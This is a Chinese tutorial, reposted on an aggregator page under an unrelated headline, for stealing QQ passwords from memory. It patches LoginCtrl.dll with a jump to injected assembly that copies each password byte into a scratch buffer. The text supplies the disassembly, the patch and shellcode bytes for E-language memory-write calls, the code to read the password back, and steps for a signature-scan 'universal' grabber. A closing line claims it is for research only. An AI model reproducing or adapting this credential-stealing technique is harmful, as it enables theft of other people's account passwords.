女王的教室韩版资源:利用HOOK API技术,内存中截获QQ密码
来源:百度文库 编辑:偶看新闻 时间:2024/04/30 17:34:43
列出关键修改代码:
014B6DD4 > /43 INC EBX
014B6DD5 . |6A 01 PUSH 1
014B6DD7 . |8BC3 MOV EAX,EBX
014B6DD9 . |0FAFC6 IMUL EAX,ESI
014B6DDC . |8A4C08 FF MOV CL,BYTE PTR DS:[EAX+ECX-1]
014B6DE0 . |E9 E5340100 JMP LoginCtr.014CA2CA //修改点,跳至空白点
014B6DE5 |90 NOP
014B6DE6 |90 NOP
014B6DE7 |90 NOP
014B6DE8 |90 NOP
014B6DE9 |90 NOP
014B6DEA > |50 PUSH EAX ; |Arg1
014B6DEB . |884D D4 MOV BYTE PTR SS:[EBP-2C],CL ; |
014B6DEE . |E8 90E00000 CALL LoginCtr.014C4E83 ; \LoginCtr.014C4E83
014B6DF3 . |8B57 44 MOV EDX,DWORD PTR DS:[EDI+44]
014B6DF6 . |83C4 0C ADD ESP,0C
014B6DF9 . |8B0A MOV ECX,DWORD PTR DS:[EDX]
014B6DFB . |8B72 0C MOV ESI,DWORD PTR DS:[EDX+C]
014B6DFE . |8B41 F8 MOV EAX,DWORD PTR DS:[ECX-8]
014B6E01 . |99 CDQ
014B6E02 . |F7FE IDIV ESI
014B6E04 . |3BD8 CMP EBX,EAX
014B6E06 .^\7C CC JL SHORT LoginCtr.014B6DD4
014CA2CA > \52 PUSH EDX //空白点
014CA2CB . BA FFAF1200 MOV EDX,12AFFF
014CA2D0 . 03D3 ADD EDX,EBX
014CA2D2 . 36:880A MOV BYTE PTR SS:[EDX],CL
014CA2D5 . 5A POP EDX
014CA2D6 . 8D45 D4 LEA EAX,DWORD PTR SS:[EBP-2C] ;修改处原代码
014CA2D9 . 50 PUSH EAX
014CA2DA . 8D85 58FFFFFF LEA EAX,DWORD PTR SS:[EBP-A8]
014CA2E0 .^ E9 05CBFEFF JMP LoginCtr.014B6DEA
大家还记得我以前写得HOOK API系列文章吗?两者原理基本上差不多,都是修改程序得执行顺序,嵌
入我们自己得代码来达到目的得!
我们现来看下基本原理,这要感谢open[xgc]大侠,他调试QQ程序跟踪密码发现QQ程序执行到
LoginCtrl.dll偏移16DE0h处时,CL里放的就是QQ密码了:
014B6DDC . |8A4C08 FF MOV CL,BYTE PTR DS:[EAX+ECX-1]
我们要做的就是修改偏移16DE0h处开始的代码,做保存QQ密码的工作,说下构思:
1.写一个跳转指令,JMP 00XXXX,跳到我们自己的代码,不足用NOP补,实际代码如下:
JMP 014CA2CA ,NOP,NOP,NOP,NOP
在易语言里是这样的:
跳转指令 = { 233, 229, 52, 1, 0, 144, 144, 144, 144, 144 }
2.找一个空白代码区(这里是014CA2CA),写于我们的代码,我们的代码要实现下面几个功能:
<1>保存密码
我们用以下代码完成
PUSH EDX ;我们后面要用到,先备份
MOV EDX,12AFFF ;
ADD EDX,EBX
MOV BYTE PTR SS:[EDX],CL ;实际密码到保存到12B000(12AFFF+1,十进制为1224704)处
POP EDX ;还原QQ原执行数据
12AFFF处是事先找到的空白区,注意:QQ密码是16h字节长的,我们事先要在这里写入22字节长的空白字节:
写内存数据_ (QQ进程句柄, 1224704, 取空白字节集 (22), 22, 0)
<2>模拟QQ代码
我们之前写 跳转指令修改了QQ的原执行代码,这里要模拟执行,不然就出错了
LEA EAX,DWORD PTR SS:[EBP-2C]
PUSH EAX
LEA EAX,DWORD PTR SS:[EBP-A8]
<3>返回到原处继续执行,代码如下:
JMP 014B6DEA
014B6DEA不多说了吧,紧接着 跳转指令后的。
在易语言里这些代码换成十进制的就是:
写入代码 = { 82, 186, 255, 175, 18, 0, 3, 211, 54, 136, 10, 90, 141, 69, 212, 80, 141, 133, 88, 255, 255, 255, 233, 5, 203, 254, 255 }
3.读取QQ密码
这个简单:
.局部变量 QQ密码, 字节集
QQ密码 = 取空白字节集 (22)
读内存数据_ (QQ进程句柄, 1224704, QQ密码, 22, 0)
核心的地方就这些了,其它具体的大家看源码吧,我就不多说了。当然大家可以发挥发辉,优化下代码,就像combojiang说的:
1. 找到模块LoginCtrl.dll基地址后,在基地址+0x1000为起始点,在长度为0x2a000h的内存中搜索
0x8A4C08FF,找到后,便找到了
01966DDC 8A4C08 FF |mov cl, byte ptr [eax+ecx-1]。其地址加1的位置就跳转指令的起始地址,为了方便描述,我们成为Address1.
2。查找模块空隙,还是在在基地址+0x1000为起始点,在长度为0x2a000h的内存中搜索
0000 0000,找到后,便找到了空隙位置。为了方便描述,我们成为Address2.
3. 将Address1开始的10个子节拷贝出来,并把该处替换为跳转到Address2的跳转指令和nop填充这10个字节。
01966DE0 8D45 D4 |lea eax, dword ptr [ebp-2C]
01966DE3 50 |push eax
01966DE4 8D85 58FFFFFF |lea eax, dword ptr [ebp-A8]
4。在address2处,将截获密码的处理程序写入,并在最后写入原address1拷贝出来的10个字节指令,然后填写一个跳转到Address1+10的jmp指令。
这样,基本就算是一个通用版本的密码截获器了。
程序图片如下:
易语言代码如下:
本文旨在技术研究,请勿用于非法用途,后果自负!